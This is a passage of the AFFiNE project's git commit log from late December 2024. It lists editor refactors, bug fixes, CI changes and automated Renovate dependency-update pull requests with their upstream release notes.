-   test(ssr): test virtual module with query ([#&#8203;19044](https://redirect.github.com/vitejs/vite/issues/19044)) ([a1f4b46](https://redirect.github.com/vitejs/vite/commit/a1f4b46896cb4b442b54a8336db8eca6df9ee02d)), closes [#&#8203;19044](https://redirect.github.com/vitejs/vite/issues/19044)

</details>

<details>
<summary>yjs/yjs (yjs)</summary>

### [`v13.6.21`](https://redirect.github.com/yjs/yjs/releases/tag/v13.6.21)

[Compare Source](https://redirect.github.com/yjs/yjs/compare/v13.6.20...v13.6.21)

-   fix [#&#8203;657](https://redirect.github.com/yjs/yjs/issues/657) - relative positions issue when using followUndoneDeletions=false  [`f583d2a`](https://redirect.github.com/yjs/yjs/commit/f583d2a2)
-   lint  [`1b0f2e5`](https://redirect.github.com/yjs/yjs/commit/1b0f2e54)
-   add nodejs specific tests  [`4404d09`](https://redirect.github.com/yjs/yjs/commit/4404d090)
-   Merge pull request [#&#8203;679](https://redirect.github.com/yjs/yjs/issues/679) from hoangqwe159/main  [`d4d4ae5`](https://redirect.github.com/yjs/yjs/commit/d4d4ae5f)
-   Add PSPDFKit binding to README.md  [`4ffd370`](https://redirect.github.com/yjs/yjs/commit/4ffd3709)
-   Merge pull request [#&#8203;676](https://redirect.github.com/yjs/yjs/issues/676) from himself65/patch-1  [`0419b74`](https://redirect.github.com/yjs/yjs/commit/0419b743)
-   add Open Collaboration Tools as a user  [`c951f2b`](https://redirect.github.com/yjs/yjs/commit/c951f2b7)
-   docs: remove `@toeverything/y-indexeddb`  [`4e2d3c8`](https://redirect.github.com/yjs/yjs/commit/4e2d3c8a)
-   update readme  [`8dc1296`](https://redirect.github.com/yjs/yjs/commit/8dc1296a)
-   add stars to providers that sponsor yjs  [`4329997`](https://redirect.github.com/yjs/yjs/commit/43299973)
-   Merge pull request [#&#8203;671](https://redirect.github.com/yjs/yjs/issues/671) from carlossantos74/main  [`2b7ea8a`](https://redirect.github.com/yjs/yjs/commit/2b7ea8a2)
-   add SuperViz Provider in yjs README  [`4f47355`](https://redirect.github.com/yjs/yjs/commit/4f473558)
-   \[funding.json] fix some validation issues  [`6074f80`](https://redirect.github.com/yjs/yjs/commit/6074f802)
-   fix errors in funding.json  [`42bbb44`](https://redirect.github.com/yjs/yjs/commit/42bbb44b)
-   add funding.json  [`cc2d732`](https://redirect.github.com/yjs/yjs/commit/cc2d7320)
-   add y-crdt elexir bindings  [`e804dd7`](https://redirect.github.com/yjs/yjs/commit/e804dd75)

### [`v13.6.20`](https://redirect.github.com/yjs/yjs/releases/tag/v13.6.20)

[Compare Source](https://redirect.github.com/yjs/yjs/compare/v13.6.19...v13.6.20)

-   lint  [`487465d`](https://redirect.github.com/yjs/yjs/commit/487465d7)
-   add yjs-inspector  [`345fd31`](https://redirect.github.com/yjs/yjs/commit/345fd31b)
-   add devtools  [`4ff65b5`](https://redirect.github.com/yjs/yjs/commit/4ff65b5d)
-   \[[#&#8203;667](https://redirect.github.com/yjs/yjs/issues/667)] sanity checks for Yjs caveats. In dev_mode, objects inserted into Yjs can't be manipulated.  [`8152cf8`](https://redirect.github.com/yjs/yjs/commit/8152cf81)
-   [#&#8203;667](https://redirect.github.com/yjs/yjs/issues/667) - add sanity messages when data is read before type is added to a document.  [`3bf44b9`](https://redirect.github.com/yjs/yjs/commit/3bf44b98)
-   Y.Array.length should be 0 before it is integrated - [#&#8203;666](https://redirect.github.com/yjs/yjs/issues/666)  [`8cd1a48`](https://redirect.github.com/yjs/yjs/commit/8cd1a482)
-   Merge pull request [#&#8203;665](https://redirect.github.com/yjs/yjs/issues/665) from batchor/main  [`9e9f294`](https://redirect.github.com/yjs/yjs/commit/9e9f2940)
-   add ScienHub as a user.  [`4fb7789`](https://redirect.github.com/yjs/yjs/commit/4fb7789c)
-   add ScienHub as a user.  [`c1ef9a1`](https://redirect.github.com/yjs/yjs/commit/c1ef9a12)

### [`v13.6.19`](https://redirect.github.com/yjs/yjs/releases/tag/v13.6.19)

[Compare Source](https://redirect.github.com/yjs/yjs/compare/v13.6.18...v13.6.19)

-   add `ydoc.isDestroyed` property  [`f604250`](https://redirect.github.com/yjs/yjs/commit/f604250f)
-   add eclipse theia as a user  [`7422b18`](https://redirect.github.com/yjs/yjs/commit/7422b18e)
-   add secsync  [`95e2bc4`](https://redirect.github.com/yjs/yjs/commit/95e2bc44)
-   add kanbert as a user  [`f2ff8b9`](https://redirect.github.com/yjs/yjs/commit/f2ff8b95)
-   Merge pull request [#&#8203;664](https://redirect.github.com/yjs/yjs/issues/664) from jul13579/add-qdacity-to-readme  [`3f9bfe4`](https://redirect.github.com/yjs/yjs/commit/3f9bfe42)
-   Add QDAcity to `README.md`  [`5b4d2a6`](https://redirect.github.com/yjs/yjs/commit/5b4d2a6b)
-   fix new lint issues  [`44e5108`](https://redirect.github.com/yjs/yjs/commit/44e51080)
-   update markdownlint  [`dd17228`](https://redirect.github.com/yjs/yjs/commit/dd17228a)
-   lint readme  [`eeb4c99`](https://redirect.github.com/yjs/yjs/commit/eeb4c996)
-   Merge pull request [#&#8203;660](https://redirect.github.com/yjs/yjs/issues/660) from mtreinik/main  [`56d5e32`](https://redirect.github.com/yjs/yjs/commit/56d5e328)
-   Remove erroneous ymap.get(index:number) from API docs  [`294c6a1`](https://redirect.github.com/yjs/yjs/commit/294c6a15)
-   Add Y.Array.from() and yarray.clone() to API docs  [`c944a45`](https://redirect.github.com/yjs/yjs/commit/c944a455)
-   update users  [`f29cd2b`](https://redirect.github.com/yjs/yjs/commit/f29cd2ba)
-   Merge pull request [#&#8203;651](https://redirect.github.com/yjs/yjs/issues/651) from nikgraf/patch-2  [`384ec4d`](https://redirect.github.com/yjs/yjs/commit/384ec4db)
-   add react-yjs to bindings  [`5e19c35`](https://redirect.github.com/yjs/yjs/commit/5e19c354)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS44MC4wIiwidXBkYXRlZEluVmVyIjoiMzkuODAuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-28 04:36:43 +00:00
Saul-Mirone 901965b61e refactor(editor): remove components in blocks/_common (#9401) 2024-12-28 01:10:23 +00:00
liuyi 89030f308f fix(core): wrong editor version number (#9403) 2024-12-28 01:37:37 +08:00
forehalo 12542f51f9 chore: bump base version to 0.19.0 2024-12-28 00:27:50 +08:00
liuyi 378db1054b fix(server): avoid get object content when syncing (#9402) 2024-12-28 00:25:15 +08:00
Saul-Mirone 6ebefbbf2b refactor(editor): extract code block (#9397) 2024-12-27 14:45:11 +00:00
doodlewind 5e1d936c2e fix(editor): sentry-b0cfc9953ff64c53b9994697171bb91a (#9396) 2024-12-27 14:02:00 +00:00
pengx17 70e4c8feab feat(core): info modal should render backlinks with preview (#9387)
fix AF-2033
2024-12-27 13:47:06 +00:00
EYHN cff3a73db4 fix(core): fix create workspace force cloud (#9382) 2024-12-27 13:33:05 +00:00
Saul-Mirone cbfe38b189 refactor(editor): add middlewares in shared adapter (#9395) 2024-12-27 12:32:44 +00:00
Saul-Mirone 76d9712f21 chore(editor): remove pie menu (#9394) 2024-12-27 12:32:42 +00:00
Saul-Mirone 003ce4c9e9 refactor(editor): extract divider block (#9393) 2024-12-27 12:12:17 +00:00
forehalo 439ed14b78 ci: release files 2024-12-27 20:11:25 +08:00
liuyi 0d98eb5e83 fix(tools): should always run affine script in project root (#9391) 2024-12-27 19:31:13 +08:00
liuyi a16471c185 fix(server): selfhost startup (#9386) 2024-12-27 19:29:17 +08:00
pengx17 8bceece5b1 fix(core): cmdk command highlight (#9390)
fix AF-2032
2024-12-27 11:13:51 +00:00
liuyi 64827f771c fix(server): end_session_endpoint is not required for oidc (#9381) 2024-12-27 19:11:54 +08:00
Saul-Mirone 80dc0e8271 refactor(editor): extract edgeless text (#9375) 2024-12-27 10:48:12 +00:00
Saul-Mirone 5c4058cd73 fix(editor): dnd lag (#9378) 2024-12-27 10:34:00 +00:00
Brooooooklyn 12bfbf1db0 ci: fix Rust cache (#9377) 2024-12-27 09:59:29 +00:00
Saul-Mirone 6da10f9a93 refactor(editor): merge get surface util (#9371) 2024-12-27 09:42:13 +00:00
pengx17 6977b0a948 fix(core): optimize at menu config loading 2 (#9366)
fix AF-2028

<div class='graphite__hidden'>
          <div>🎥 Video uploaded on Graphite:</div>
            <a href="https://app.graphite.dev/media/video/T2klNLEk0wxLh4NRDzhk/7931ddc8-3721-4b7d-b4cb-065f923f295c.mp4">
              <img src="https://app.graphite.dev/api/v1/graphite/video/thumbnail/T2klNLEk0wxLh4NRDzhk/7931ddc8-3721-4b7d-b4cb-065f923f295c.mp4">
            </a>
          </div>
<video src="https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/T2klNLEk0wxLh4NRDzhk/7931ddc8-3721-4b7d-b4cb-065f923f295c.mp4">Recording at 2024-12-27 11.50.54.mp4</video>
2024-12-27 09:26:03 +00:00
Saul-Mirone 1fbb462389 fix(editor): move insert link command to bookmark to remove ts ignore (#9370) 2024-12-27 09:09:29 +00:00
donteatfriedrice fee86304ae refactor(editor): extract adapters to shared (#9344)
Extract AttachmentAdapter, ImageAdapter, NotionTextAdapter to shared.
2024-12-27 08:52:03 +00:00
pengx17 153c1b2c55 refactor(core): make lit portal a bit cleaner (#9354) 2024-12-27 08:34:04 +00:00
forehalo 67be1fb47f fix(tools): import() requires file:// on windows (#9373) 2024-12-27 08:17:59 +00:00
donteatfriedrice 4a3caaf766 refactor(editor): extract notion html adapter to shared (#9341) 2024-12-27 08:00:19 +00:00
fundon 6fcdd015aa fix(component): lit portal not re-rendering in inline links case (#9321)
* uses `portal.key` in templates
* updates `portal.id`  for use in queries
2024-12-27 15:43:13 +08:00
donteatfriedrice 835e7c434e fix(editor): throttle render linked doc card when blockUpdated (#9361)
[BS-2223](https://linear.app/affine-design/issue/BS-2223/性能问题:linked-doc-card-view加载西藏的文档,app-直接挂了)
2024-12-27 07:24:56 +00:00
doouding 7dbb85c8c2 fix: sentry AFFINE-84T (#9368)
Fixes [BS-2243](https://linear.app/affine-design/issue/BS-2243/typeerror-cannot-read-properties-of-undefined-reading-length)
2024-12-27 07:07:53 +00:00
Brooooooklyn 752e697c6a feat(ios): nbstore swift native binding (#9211) 2024-12-27 06:34:30 +00:00
forehalo 8de0679d70 Revert "fix(core): make all docs journal judgement reactive (#9290)"
This reverts commit 727f21d78f.
2024-12-27 14:21:59 +08:00
pengx17 b3933e8bf8 fix(mobile): do not show toc in doc peek view (#9348)
fix AF-2025
2024-12-27 05:48:50 +00:00
EYHN 893493cf01 feat(core): view selfhosted shared docs in electron (#9365) 2024-12-27 05:32:22 +00:00
Saul-Mirone 2b27d62b0e refactor(editor): cleanup ts-expect-error (#9369) 2024-12-27 05:14:23 +00:00
Brooooooklyn 908e3efd12 ci: add fail-fast: false to all matrix (#9355) 2024-12-27 04:56:56 +00:00
Saul-Mirone 3ae3ae98c8 refactor(editor): extract edgeless legacy slots (#9363) 2024-12-27 04:22:52 +00:00
doouding 71272203b0 fix: beginPath before drawing drag indicator (#9364)
Fixes [BS-2238](https://linear.app/affine-design/issue/BS-2238/frame-套一个-mindmap-,拖动行为不可用)
2024-12-27 04:02:57 +00:00
devin-ai-integration f336d68866 ci: add graphite ci optimizer and update job dependencies (#9362)
feat(ci): add graphite ci optimizer and update job dependencies

This PR adds the Graphite CI optimizer to improve CI efficiency by skipping unnecessary jobs. All workflow jobs have been updated to depend on the optimizer's output.

Changes:
- Add `optimize_ci` job using graphite-ci-action
- Update all jobs to depend on `optimize_ci`
- Add skip conditions based on optimizer output
- Preserve existing job dependencies while adding optimizer dependency
- Handle Redis service configurations and command syntax updates

Note: This PR requires the `GRAPHITE_CI_OPTIMIZER_TOKEN` secret to be configured in the repository settings before the optimizer can be used.

Testing:
- [x] Verified workflow file syntax
- [x] Updated all job dependencies correctly
- [x] Maintained existing job configurations

Link to Devin run: https://app.devin.ai/sessions/3872f4dc4c3341b899646a90c46c4fe3
2024-12-27 03:45:52 +00:00
Brooooooklyn 706b614006 style: add sonarjs/no-gratuitous-expressions rule (#9360) 2024-12-27 03:30:20 +00:00
Saul-Mirone 5eb48343a3 chore(editor): cleanup dead code (#9359) 2024-12-27 03:13:23 +00:00
fundon 20c5c28a95 fix(core): circular dependency in pdf embed view (#9331) 2024-12-27 02:57:21 +00:00
renovate d66bec3b91 chore: bump up happy-dom version to v16 (#9358)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [happy-dom](https://redirect.github.com/capricorn86/happy-dom) | [`^15.11.7` -> `^16.0.0`](https://renovatebot.com/diffs/npm/happy-dom/15.11.7/16.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/happy-dom/16.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/happy-dom/16.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/happy-dom/15.11.7/16.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/happy-dom/15.11.7/16.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>capricorn86/happy-dom (happy-dom)</summary>

### [`v16.0.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v16.0.0)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v15.11.7...v16.0.0)

##### 💣 Breaking Changes

-   Refactors XML and HTML parsing and serialization - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;1615](https://redirect.github.com/capricorn86/happy-dom/issues/1615)
    -   This change may break your tests as the serialized output may differ from v15

##### 🎨 Features

-   Adds support for parsing XML in `DOMParser` - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;284](https://redirect.github.com/capricorn86/happy-dom/issues/284)

##### 👷‍♂️ Patch fixes

-   Fix for handling `<html>`, `<head>` and `<body>` during parsing - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;1615](https://redirect.github.com/capricorn86/happy-dom/issues/1615)
-   Fix for handling HTML entities correctly when parsing and serializing - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;1494](https://redirect.github.com/capricorn86/happy-dom/issues/1494) and [#&#8203;1498](https://redirect.github.com/capricorn86/happy-dom/issues/1498)
-   Fix for handling attribute names containing "\[" or "]" - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;1638](https://redirect.github.com/capricorn86/happy-dom/issues/1638)
-   Fix for handling comments containing HTML tags - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;1630](https://redirect.github.com/capricorn86/happy-dom/issues/1630)
-   Handles rules for parsing table elements - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;1126](https://redirect.github.com/capricorn86/happy-dom/issues/1126)
-   Loads scripts asynchronously when "defer" is set or "type" is "module" - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;1615](https://redirect.github.com/capricorn86/happy-dom/issues/1615)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS44MC4wIiwidXBkYXRlZEluVmVyIjoiMzkuODAuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-27 02:24:50 +00:00
pengx17 7d0160c8fb feat(electron): enable vscode debugger for electron (#9333) 2024-12-26 15:37:56 +00:00
zzj3720 188cabc7d7 refactor(editor): enable the noUncheckedIndexedAccess rule for the data-view package (#9351)
close: BS-2230
2024-12-26 14:00:11 +00:00
darkskygit 040f427e9e fix(server): test shuold forbid only (#9349) 2024-12-26 13:44:11 +00:00
liuyi 41c8232472 chore(infra): remove blocksuite from infra (#9353) 2024-12-26 13:43:12 +00:00
forehalo 126d576c3e fix(electron): remove blocksuite dep 2024-12-26 21:00:51 +08:00
forehalo a145986de6 ci: wrong script to build electron renderer 2024-12-26 20:47:58 +08:00
liuyi 0af46c966d chore(tools): add package selector to dev command (#9328) 2024-12-26 12:34:17 +00:00
DarkSky 4ae8c2f4ef fix(server): team quota await (#9352) 2024-12-26 12:08:49 +00:00
darkskygit 5d27a13e2c feat(server): distinguash workspace quota calc (#9338)
fix AF-2021
2024-12-26 11:33:31 +00:00
Mirone 0c849e12c6 fix(editor): crud this error (#9350) 2024-12-26 19:32:34 +08:00
CatsJuice 690a79b905 chore(electron): disable onboarding (#9332)
close AF-2020
2024-12-26 11:21:15 +00:00
doodlewind fe957e3175 fix(editor): eslint useless escape (#9345) 2024-12-26 11:09:30 +00:00
liuyi 00980077c4 chore: standardize package references (#9346) 2024-12-26 19:08:42 +08:00
Mirone 37747369bc fix(editor): missing edgeless crud piece (#9347) 2024-12-26 11:06:06 +00:00
darkskygit 6d5733fca9 fix: ios client gql compatibility (#9337) 2024-12-26 10:40:12 +00:00
doodlewind 9a29ac4a5c fix(editor): sentry-332848caa68e4679b403d56881e3c0e3 (#9343) 2024-12-26 10:26:31 +00:00
liuyi 4692cfa624 chore: keep old selfhost compose file (#9280) 2024-12-26 18:25:45 +08:00
doodlewind 9b3a2fc0de fix(editor): sentry-624432d8f1e6420ca9c5023a051f4332 (#9342)
Close https://toeverything.sentry.io/issues/6091618868/?project=4506307500179456
2024-12-26 09:59:06 +00:00
Saul-Mirone d60e9a3885 fix(editor): block selection delete conflict with native selection (#9340)
Closes: [BS-2228](https://linear.app/affine-design/issue/BS-2228/[bug]-选区删除拖拽失灵)
2024-12-26 09:46:39 +00:00
Saul-Mirone 6afa1d542f feat(editor): add edgeless crud extension (#9335) 2024-12-26 08:58:06 +00:00
doouding 0de4f7abbb test: add mindmap collapse test (#9336) 2024-12-26 08:23:09 +00:00
fundon 1afdb68143 fix(core): disable re-rendering of pdf embed view (#9334) 2024-12-26 08:08:11 +00:00
doodlewind 71b5cddea1 fix(editor): use nullable inline editor root element (#9320)
Fixes `sentry-7906c03b79a54ede819c56cc15ad9889`
2024-12-26 07:55:15 +00:00
Flrande cb4dd127fd fix(editor): merge drag function and fix it (#9329) 2024-12-26 07:41:07 +00:00
donteatfriedrice cadb9211a6 refactor(editor): extensionalize plain text adapter (#9330) 2024-12-26 07:27:08 +00:00
zzj3720 45acdbda04 feat(core): disable the back gesture when the menu is open (#9263)
close: BS-2174
2024-12-26 07:12:09 +00:00
fundon 96fae47744 feat(core): add pdf embed preview feature flag (#9307) 2024-12-26 06:57:31 +00:00
liuyi 7ae7c17677 fix(core): more space under page property list (#9269) 2024-12-26 14:56:43 +08:00
Flrande 35f93b0535 fix(editor): some blocks can not be collapsed (#9325) 2024-12-26 06:40:11 +00:00
JimmFly cf17303158 chore: remove AIOnboardingGeneral (#9326) 2024-12-26 06:26:10 +00:00
Saul-Mirone fd872943b1 feat: extract latex block (#9327) 2024-12-26 06:13:07 +00:00
zzj3720 40d8d83b4a feat(editor): remove flag control for database full-width (#9265) 2024-12-26 05:46:08 +00:00
fundon 42ab507d30 feat(core): pdf viewer supports fit to page (#8812)
### What's Changed

* fits to page by default
* supports rendering pages of different sizes

https://github.com/user-attachments/assets/bf34e6d1-5546-4af1-a131-b801a67e9ace
2024-12-26 05:28:18 +00:00
fundon bb43e4b664 feat(core): pdf embed view component (#8671)
Closes: [AF-1445](https://linear.app/affine-design/issue/AF-1445/添加-pdf-embed-view-component)
Upstreams: https://github.com/toeverything/blocksuite/pull/8658, https://github.com/toeverything/blocksuite/pull/8752

### What's Changed

* uses `IntersectionObserver` to determine lazy loading
* adds `PDFViewerEmbedded` component
* automatically shut down workers when out of view

<div class='graphite__hidden'>
          <div>🎥 Video uploaded on Graphite:</div>
            <a href="https://app.graphite.dev/media/video/8ypiIKZXudF5a0tIgIzf/4181bec6-83fd-42f1-bfea-87276e0bd9e6.mov">
              <img src="https://app.graphite.dev/api/v1/graphite/video/thumbnail/8ypiIKZXudF5a0tIgIzf/4181bec6-83fd-42f1-bfea-87276e0bd9e6.mov">
            </a>
          </div>
<video src="https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/8ypiIKZXudF5a0tIgIzf/4181bec6-83fd-42f1-bfea-87276e0bd9e6.mov">Screen Recording 2024-11-15 at 08.14.34.mov</video>
2024-12-26 05:28:17 +00:00
Saul-Mirone 90173b2fa3 chore(editor): remove typedoc json (#9324) 2024-12-26 05:13:41 +00:00
Saul-Mirone fc5999a482 refactor(editor): extract frame block (#9322) 2024-12-26 04:45:11 +00:00
Saul-Mirone fad0237d94 refactor(editor): extract html adapter to shared (#9319) 2024-12-26 04:05:10 +00:00
Saul-Mirone 37e44e0341 fix(editor): re-init after yText change in inline editor (#9312)
Closes: [BS-2143](https://linear.app/affine-design/issue/BS-2143/block通过drag-handle拖动位置后,无法输入)
2024-12-26 03:51:07 +00:00
Saul-Mirone 0220ba4572 fix: should bring children to new doc created (#9316)
Closes: [BS-2186](https://linear.app/affine-design/issue/BS-2186/created-linked-doc-%E6%97%B6%EF%BC%8C%E4%BC%9A%E6%B8%85%E9%99%A4list%E7%9A%84-children)
2024-12-26 03:37:10 +00:00
donteatfriedrice 3996f96368 refactor(editor): extensionalize notion html adapter (#9318)
Part of [BS-2212](https://linear.app/affine-design/issue/BS-2212/adapter-extension化修复)
2024-12-26 03:22:09 +00:00
fundon 3064f21454 refactor(component): lit portal (#9303)
* removes `listeners`
* adds `notify` property into `LitReactPortal`
* adds `rerendering` argument  to element factory

Related to https://github.com/toeverything/AFFiNE/pull/9295#discussion_r1897043399
2024-12-26 03:08:04 +00:00
doodlewind 7b572bc89e fix(editor): sentry-17da76f65b91465b911fad44279d971a (#9315) 2024-12-26 02:54:07 +00:00
Saul-Mirone a595a145f0 fix(editor): should remove drag preview after drop (#9313)
Closes: [BS-2219](https://linear.app/affine-design/issue/BS-2219/拖拽后,原编辑器内容有残留)
2024-12-26 02:41:09 +00:00
pengx17 70d9cc6b01 fix(electron): electron crash on leave fullscreen (#9314) 2024-12-26 01:55:07 +00:00
Saul-Mirone 2ffd0e561c refactor(editor): extract note block (#9310) 2024-12-26 01:30:44 +00:00
pengx17 40b90ef51b feat(core): at menu loading state (#9284)
fix AF-2017
2024-12-25 16:13:04 +00:00
renovate 994292098d chore: Lock file maintenance (#9166)
This PR contains the following updates:

| Update | Change |
|---|---|
| lockFileMaintenance | All locks refreshed |

🔧 This Pull Request updates lock files to use the latest dependency versions.

---

### Configuration

📅 **Schedule**: Branch creation - "* 0-3 * * 1" (UTC), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS41OC4xIiwidXBkYXRlZEluVmVyIjoiMzkuNzIuMiIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-25 15:19:02 +00:00
Brooooooklyn 80f4af681a fix(server): data-migration script (#9306) 2024-12-25 13:43:48 +00:00
Saul-Mirone 5274441e14 refactor(editor): extract image block (#9309) 2024-12-25 13:26:29 +00:00
Saul-Mirone ebd97752bf refactor(editor): extract attachment block (#9308) 2024-12-25 12:19:58 +00:00
Saul-Mirone d8bc145465 refactor(editor): extract bookmark block (#9304) 2024-12-25 11:22:29 +00:00
akumatus 5e2e58de09 fix: font of AI panel should not be affected by the font of Editor settings (#9305)
Fix issue [BS-2210](https://linear.app/affine-design/issue/BS-2210).
2024-12-25 10:54:58 +00:00
renovate 995978a632 chore: bump up react-error-boundary version to v5 (#9238)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [react-error-boundary](https://redirect.github.com/bvaughn/react-error-boundary) | [`^4.1.2` -> `^5.0.0`](https://renovatebot.com/diffs/npm/react-error-boundary/4.1.2/5.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/react-error-boundary/5.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/react-error-boundary/5.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/react-error-boundary/4.1.2/5.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/react-error-boundary/4.1.2/5.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>bvaughn/react-error-boundary (react-error-boundary)</summary>

### [`v5.0.0`](https://redirect.github.com/bvaughn/react-error-boundary/compare/4.1.2...3ed17cc9244244c0db7a914c93d573167d0a9fb3)

[Compare Source](https://redirect.github.com/bvaughn/react-error-boundary/compare/4.1.2...5.0.0)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS43Mi41IiwidXBkYXRlZEluVmVyIjoiMzkuNzIuNSIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-25 10:42:28 +00:00
Saul-Mirone 7c84545647 refactor(editor): cleanup dead code (#9300) 2024-12-25 07:48:00 +00:00
Saul-Mirone 16c59d96d9 refactor(editor): move menu context to components (#9302) 2024-12-25 07:34:04 +00:00
donteatfriedrice 62b930f336 fix(editor): notion html adapter for embed link block (#9279)
[BS-1745](https://linear.app/affine-design/issue/BS-1745/[bug]-导入的notion-youtube-embed-错误)
2024-12-25 07:20:26 +00:00
forehalo 2cc7bdfc77 fix(tools): patch monorepo tools (#9285) 2024-12-25 04:55:26 +00:00
CatsJuice 0acdf62043 refactor(ios): disable navigation gesture with js (#9287)
Do not toggle navigation gesture native to avoid unexpected behavior. close AF-1958, AF-1797
2024-12-25 04:27:51 +00:00
Saul-Mirone 50ff3655e5 refactor(editor): extensionalize html adapter (#9299) 2024-12-25 04:04:51 +00:00
doodlewind a15009ce84 chore(editor): ignore debug zip snapshots (#9297)
Put snapshot zips in `blocksuite/playground/apps/starter/data/snapshots/`
2024-12-25 02:18:46 +00:00
CatsJuice a29519a9fc fix(mobile): workspace selector in app-fallback may crash (#9293) 2024-12-25 01:59:16 +00:00
CatsJuice 727f21d78f fix(core): make all docs journal judgement reactive (#9290) 2024-12-25 01:41:16 +00:00
Saul-Mirone d63ba079ee refactor(editor): cleanup dead code (#9294) 2024-12-24 15:27:36 +00:00
Saul-Mirone f5dea2a990 refactor(editor): remove legacy dnd config (#9291) 2024-12-24 13:59:36 +00:00
Flrande 052d74896e fix: can not drag collapsed heading (#9272) 2024-12-24 12:58:39 +00:00
akumatus 7bd980991e fix(core): chat input will be sent repeatedly in two documents with split view (#9289)
Fix issue [AF-2011](https://linear.app/affine-design/issue/AF-2011).

Add `host` strict equality check before ai request send.
2024-12-24 11:17:42 +00:00
akumatus 6c0544b239 fix(core): ai chat panel content will be inconsistent when switching to journals (#9288)
Fix issue [BS-2153](https://linear.app/affine-design/issue/BS-2153).

Optimize DOM reuse by explicitly providing an identifier (similar to React's key).
2024-12-24 10:48:16 +00:00
doodlewind 20aca4d051 chore(tools): disable hmr by default (#9286) 2024-12-24 10:32:01 +00:00
Saul-Mirone cd830d6f81 refactor(editor): extract ai item component (#9283) 2024-12-24 09:41:45 +00:00
Saul-Mirone 190e7e6f30 refactor(editor): extract common components (#9282) 2024-12-24 08:41:22 +00:00
EYHN 3cf4bcf651 feat(ios): add intelligents button (#9281)
Co-authored-by: 砍砍 <git@qaq.wiki>
